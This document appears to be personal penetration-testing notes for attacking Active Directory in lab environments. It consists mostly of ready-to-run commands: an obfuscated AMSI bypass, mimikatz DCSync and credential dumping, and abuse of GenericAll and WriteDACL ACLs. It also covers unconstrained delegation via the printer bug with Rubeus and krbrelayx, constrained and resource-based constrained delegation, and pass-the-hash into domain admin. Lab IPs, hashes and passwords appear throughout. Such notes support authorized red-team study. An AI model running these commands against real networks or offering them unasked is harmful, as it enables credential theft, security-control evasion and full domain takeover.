Active Directory

###kali /etc/resolv.conf: nameserver dc.ip###
###kali /etc/resolv.conf: nameserver dc.ip###
###kali /etc/resolv.conf: nameserver dc.ip###
remember to add the target dc ip as kali nameserver to properly resolve service domain names when using impacket attacking from kali
DCSync
.\mimi.exe "privilege::debug" "sekurlsa::logonpasswords" "lsadump::sam" "lsadump::secrets" "lsadump::dcsync /all /csv" "exit"

nxc smb 172.16.177.168 -u pete -p sdfsdSE423 -d complyedge.com -M ntdsutil
test new creds from dcsync
nxc smb 172.16.177.160 172.16.177.165 192.168.177.169 172.16.177.166 172.16.177.167 -u jim -H e48c13cefd8f9456d79cd49651c134e8 -d complyedge.com

Enumeration

#initiate powershell session that allow script import 
powershell -ep bypass

#bypass AMSI
$a = 'System.Management.Automation.A';$b = 'ms';$c = 'Utils';$d = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$c));$e = $d.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static');$e.SetValue($null,$true)

#test AMSI bypass
'amsiutils'
#load module
. .\powerview.ps1

Get-ObjectAcl -Identity -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | ft

Check for:

AceType               : AccessAllowed
ObjectDN              : CN=TestService1,OU=prodUsers,DC=prod,DC=corp1,DC=com
ActiveDirectoryRights : GenericAll
Identity              : *Group / User Name*
powerview
#at current user context - querying access right towards domain user (GenericAll / WriteDACL)
Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\$env:Username")) {$_}}

#at current user context - querying access right towards domain group (GenericAll / WriteDACL)
Get-DomainGroup | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\$env:Username")) {$_}}

#querying access right towards computer accounts (for RBCD)
Get-DomainComputer | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\$env:Username")) {$_}}
Get-DomainComputer | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Where-Object { $_.ActiveDirectoryRights -like '*GenericWrite*' }

Abusing GenericAll

Check for:

AceType               : AccessAllowed
ObjectDN              : CN=TestService1,OU=prodUsers,DC=prod,DC=corp1,DC=com
#ObjectDN              : CN=TestGroup,OU=prodGroups,DC=prod,DC=corp1,DC=com
*ActiveDirectoryRights : GenericAll
Identity              : PROD\offsec

GenericAll access right gives the user of the Identify full control over the ObjectDN account, allows the change of password on it without knowledge of the old password among other things:

We can also abuse the ForceChangePassword and AllExtendedRights access rights to change the password of a user account in a similar way without supplying the old password. Once we reset the password, we can either log in to a computer (like appsrv01) with the account or create a process in the context of that user to perform a pass-the-ticket attack.

@user PROD\offsec
net user testservice1 newpassword /domain

For domain group, we can compromise the group by simply adding ourselves to it. We can also use the AllExtendedRights and access rights in a similar way as with user accounts.

net group testgroup offsec /add /domain

GenericAll can allow reading of LAPS ms-Mcs-AdmPwd or grant yourself the ability by modifying the computer object's security decriptor.

Abusing WriteDACL

Permission to modify the DACL itself. We can apply additional access rights such as GenericAll, , or even DCSync if the targeted object is the domain object.

Check for:

AceType               : AccessAllowed
ObjectDN              : CN=TestService2,OU=prodUsers,DC=prod,DC=corp1,DC=com
#ObjectDN              : CN=TestGroup,OU=prodGroups,DC=prod,DC=corp1,DC=com
*ActiveDirectoryRights : ReadProperty, GenericExecute, *WriteDacl*
Identity              : PROD\offsec
Add-DomainObjectAcl -TargetIdentity testservice2 -PrincipalIdentity offsec -Rights All
verify the change
Get-ObjectAcl -Identity testservice2 -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\$env:Username")) {$_}}
kali impacket
./dacledit.py -action 'write' -rights 'FullControl' -principal 'sqlsvc' -target-dn 'CN=MAILADMINS,OU=TGROUPS,DC=TRICKY,DC=COM' tricky/sqlsvc:4dfgdfFFF542 -dc-ip 172.16.186.150

./dacledit.py -action 'read' -principal 'sqlsvc' -target-dn 'CN=MAILADMINS,OU=TGROUPS,DC=TRICKY,DC=COM' tricky/sqlsvc:4dfgdfFFF542 -dc-ip 172.16.186.150

We then can perform the abuse of GenericAll with previous mentioned ways.

Unconstrained Delegation

Need admin access to the uncontrained delegation enabled host.

A computer configured with unconstrained delegation will store the connecting user's TGT regardless of whether it connects to a backend service or not

Any ticket obtained for delegations are FOWARDABLE marked

powerview
Get-DomainComputer -Unconstrained

name                                     : APPSRV01
useraccountcontrol                       : WORKSTATION_TRUST_ACCOUNT, *TRUSTED_FOR_DELEGATION*
impersonation
#Get access into the target vulnerable server - APPSRC01

0#check current ticket
.\Rubeus.exe dump /nowrap

1#check share & find intersting group permitted
net share
icacls C:\shares\engineering

##At this point, we either have to wait for someone to visit the share, or conduct social engineering to trick someone into visiting it.##

2#after an user access to the share (used the appsrv01 share service), we can get forwardable tgt of the user
.\Rubeus.exe dump /nowrap
.\rubeus.exe ptt /ticket:{base64 krbtgt of the victim user}

3#we have their ticket in hand and be able to access service on their behalf
klist
dir \\files02\home$\james
compromise dc
0# check access
ls \\dc01\pipe\spoolss

1# compromised uncontrained delegation enabled host - APPSRV01:
Rubeus.exe monitor /interval:5 /filteruser:DC01$

2# trigger spooler bug when DC01 has the vulnarability
SpoolSample.exe DC01 APPSRV01

3# rubeus captured the base64 ticket in compromised ser
Rubeus.exe ptt /ticket:doIFIjCCBR6gAwIBBaEDAgEWo...

4# DC01$ not DC admin, but can dcsync
lsadump::dcsync /domain:prod.corp1.com /user:prod\krbtgt

#Armed with the krbtgt NTLM hash, we can craft a golden ticket and obtain access to any resource in the domain. Alternatively, we can dump the password hash of a member of the Domain Admins group.
forest eg (not DA)
ls \\rdc01\pipe\spoolss

Rubeus.exe monitor /interval:5 /filteruser:RDC01$

.\SpoolSample.exe rdc01.corp1.com appsrv01.prod.corp1.com

Rubeus.exe ptt /ticket:doIE9DCCBPCgAwIBBaEDAgEWooIEBDCCBABhggP8MIID+...

#root dc account can do dcsync to get root domain Admin account hash
lsadump::dcsync /domain:corp1.com /user:corp1\administrator

#if we obtain Domain Admin privileges in prod.corp1.com through some other vector, we could configure a server with unconstrained Kerberos delegation and use that to compromise any other domain in the forest.

With krbrelayx (no rubeus)

requirement
Owned computer account with unconstrained delegation enabled (FILES01).
Printer bug on a domain controller (DC01).
Permissions to add an SPN for the owned computer account and a new DNS record in AD.
Printer Bug + DCSync
krbrelayx
###kali /etc/resolv.conf: nameserver dc.ip###

0# dump compromised machine acc hash & aes key with compromised admin account on the  owned vulnerable app ser
impacket-secretsdump corp/adam:'4Toolsfigure3'@file01.corp.com

1# query & add a malicious SPN for the owned computer account with unconstrained delegation
python ./addspn.py -u 'compromised\machineacc$' -p 'pwd/lm:ntlm' {dc/ldap://ip} -q
python ./addspn.py -u 'CORP\FILES01$' -p 'pwd/lm:ntlm' ldap://dc.ip/dcname -s HOST/evil.corp.com --additional

2# Add a DNS record pointing to the attacker's host & verify
python dnstool.py -u 'CORP\FILES01$' -p 'pwd/lm:ntlm' -r evil.corp.com -d {attacker ip} --action add {dc/ip}
nslookup evil.corp.com {dc ip}

3# Setup listner
python krbrelayx.py -aesKey 8d87dc0af67a6443fc382954f2d14b5d54265c61467d17339ff965013aef15dd 

3.5# trigger printer bug with the compromised vulnerable computer account (must need resolv.conf set nameserver with target dc ip and use dc.domain.com)
python printerbug.py CORP/'FILES01$'@dc01.corp.com -hashes 'pwd/ln:ntlm' evil.corp.com 
4# use the captured krbtgt ticket to dcsync 
export KRB5CCNAME=`pwd`/'[email protected][email protected]'
klist
impacket-secretsdump DC01.corp.com -dc-ip <DC01_IP> -k -no-pass

5# use the admin credentials
impacket-psexec [email protected] -hashes 'aad3b435b51404eeaad3b435b51404ee:96b927ecd4785badb8b50bc175c101c4' -dc-ip 192.168.194.100

Constrained Delegation

While unconstrained delegation allows the service to perform authentication to anything in the domain, constrained delegation limits the delegation scope. Kerberos protocol does not natively support constrained delegation by default.

Does not matter which domain user or endpoint is used.

Get-DomainUser -TrustedToAuth

samaccountname           : IISSvc
msds-allowedtodelegateto : {MSSQLSvc/CDC01.prod.corp1.com:SQLEXPRESS,
                           MSSQLSvc/cdc01.prod.corp1.com:1433}
useraccountcontrol       : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD, *TRUSTED_TO_AUTH_FOR_DELEGATION*

If we compromise the IISSvc account, we can request a service ticket to IIS for any user in the domain, including a domain administrator. (need the account password hash but not need to be in its context)

a) windows
#convert to hash if clear text pw of the vulnerable service account obtained
.\Rubeus.exe hash /password:lab

#obtain tgt from the compromised service account context
.\Rubeus.exe asktgt /user:iissvc /domain:prod.corp1.com /rc4:2892D26CDF84D7A70E2EB3B9F05C425E

#use the service account tgt to impersonate as privileged use to access the vulnerable  service
.\Rubeus.exe s4u : /impersonateuser:administrator /msdsspn: /ptt

#>> login to the mssql server in dc as admin

#
.\Rubeus.exe s4u  /impersonateuser:administrator /msdsspn:mssqlsvc/cdc01.prod.corp1.com:1433  /ptt
b) kali
#need to have the vulnerable account compromised & has its hash
impacket-getTGT corp.com/iissvc -hashes :12bb0b468b42c76d48a3a5ceb8ade2e9 -dc-ip {}

#set env with the stolen TGT for using it
export KRB5CCNAME=iissvc.ccache

#request ticket with the stolen TGT from service account the contrained set
impacket-getST -spn mssqlsvc/sql01.corp.com:1433 -impersonate administrator corp.com/iissvc -k -no-pass -dc-ip {}

#set env with the stolen impersonated previleged user ticket to use it accessing the vulnerable service
export KRB5CCNAME=administrator.ccache

impacket-mssqlclient sql01.corp.com -no-passs -k -dc-ip {}

By compromising an account that has constrained delegation enabled, we can gain access to all the services configured through the msDS-AllowedToDelegateTo property. If the TRUSTED_TO_AUTH_FOR_DELEGATION value is set, we can do this without user interaction.

If the SPN configured for constrained delegation only uses the service and host name like www/cdc01.prod.corp1.com, we could modify the TGS to access any service on the system.

Resource-Based Constrained Delegation

The frontend service must have an SPN set in the domain. A user account typically does not have an SPN set but all computer accounts do. This means that any attack against RBCD needs to happen from a computer account or a service account with a SPN.

We can compromise a backend service that has a compromised frontend service SID configured in its msDS-AllowedToActOnBehalfOfOtherIdentity property. The frontend service can use S4U2Self to request the forwardable TGS for any user to itself followed by S4U2Proxy to create a TGS for that user to the backend service. We can request admin account context on the frontend service to access the backend service.

This specific vector starts by compromising a domain account that has the GenericWrite access right on a computer account object. This technique is the only known way of turning GenericWrite on a computer object into code execution.

enum computer accounts
#powerview

Get-DomainComputer | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Where-Object { $_.ActiveDirectoryRights -like '*GenericWrite*' }

#check
ObjectDN              : CN=APPSRV01,OU=prodComputers,DC=prod,DC=corp1,DC=com
ActiveDirectoryRights : ListChildren, ReadProperty, *GenericWrite*
Identity              : CORP\mary

Since we have GenericWrite on appsrv01 (backend service), we can update any non-protected property on that object, including msDS-AllowedToActOnBehalfOfOtherIdentity and add the SID of a different computer (controlled frontend service).

We either have to obtain the password hash of a computer account or simply create a new computer account object with a selected password to act in the context of that computer account, and then execute the S4U2Self and S4U2Proxy extensions to obtain a TGS for appsrv01 after adding the SID of the controlled computer account in its msDS-AllowedToActOnBehalfOfOtherIdentity property.

By default, any authenticated user can add up to ten computer accounts to the domain and they will have SPNs set automatically.

Check quota
Get-DomainObject -Identity prod -Properties ms-DS-MachineAccountQuota

Through Kali

#1. create computer account with compromised user credentials
impacket-addcomputer -computer-name 'myComputer$' -computer-pass 'kali1234' corp.com/mary -hashes :942f15864b02fdee9f742616ea1eb778 -dc-ip {}

#2 set the property (auto creat new account's SD from its SID, convert to byte array, and set the property)
impacket-rbcd -action write -delegate-to "APPSRV01$" -delegate-from "myComputer$" corp.com/mary -hashes :942f15864b02fdee9f742616ea1eb778 -dc-ip {}

#3 impersonate admin user getting its ticket by sending request with our computer object
impacket-getST -spn  -impersonate administrator 'corp.com/myComputer$:h4x' -dc-ip {}

#4 use the ticket towards the vulnerable server
export KRB5CCNAME=`pwd`/'administrator.ccache'
impacket-psexec [email protected] -k -no-pass -dc-ip {}

#mimikatz.exe to dump other creds and further compromise other server
#e.g. mimi > MSSQL creds > RCE > PrintSpoofer > mimikatz > dc creds

Through Windows

create computer account
. .\powermad.ps1

New-MachineAccount -MachineAccount myComputer -Password $(ConvertTo-SecureString 'password' -AsPlainText -Force)

Get-DomainComputer -Identity myComputer
create SecurityDescriptor
$sid =Get-DomainComputer -Identity myComputer -Properties objectsid | Select -Expand objectsid

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($sid))"
convert to byte array
$SDbytes = New-Object byte[] ($SD.BinaryLength)

$SD.GetBinaryForm($SDbytes,0)
setting the property
Get-DomainComputer -Identity appsrv01 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
verify the target service
$RBCDbytes = Get-DomainComputer appsrv01 -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity

$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RBCDbytes, 0

#check for SecurityIdentifier : S-1-5-21-3776646582-2086779273-4091361643-2101
$Descriptor.DiscretionaryAcl

#check if it matches the created / compromised computer account we own & using
ConvertFrom-SID S-1-5-21-3776646582-2086779273-4091361643-2101

It is not normally possible to set the msDS-AllowedToActOnBehalfOfOtherIdentity property for an arbitrary computer account. However, since our login user has the GenericWrite (also possible with GenericAll, WriteProperty, WriteDACL) access right to appsrv01, we can set this property.

Once a SID of the computer account is added, we can act in the context of that computer account and then execute the S4U2Self and S4U2Proxy extensions to obtain a TGS for appsrv01.

#get computer account hash
.\Rubeus.exe hash /password:

.\Rubeus.exe s4u /user:myComputer$ /rc4:AA6EAFB522589934A6E5CE92C6438221 /impersonateuser:administrator /msdsspn:CIFS/appsrv01.prod.corp1.com /ptt

psexec -eula //appsrv01.prod.corp1.com cmd

#mimikatz.exe to dump other creds and further compromise other server 
#e.g. mimi > MSSQL creds > RCE > PrintSpoofer > mimikatz > dc creds

After obtaining the TGT for the myComputer machine account, S4U2Self will then request a forwardable service ticket as the administrator user to the myComputer computer account. Finally, S4U2Proxy is invoked to request a TGS for the CIFS service on appsrv01 as the admin user and injected into memory.

Our access to appsrv01 is in the context of the administrator domain admin user. We can use our CIFS access to obtain code execution on appsrv01, but in the process we will perform a network login instead of an interactive login. This means our access will be limited to appsrv01 and cannot directly be used to expand access towards the rest of the domain.

Last updated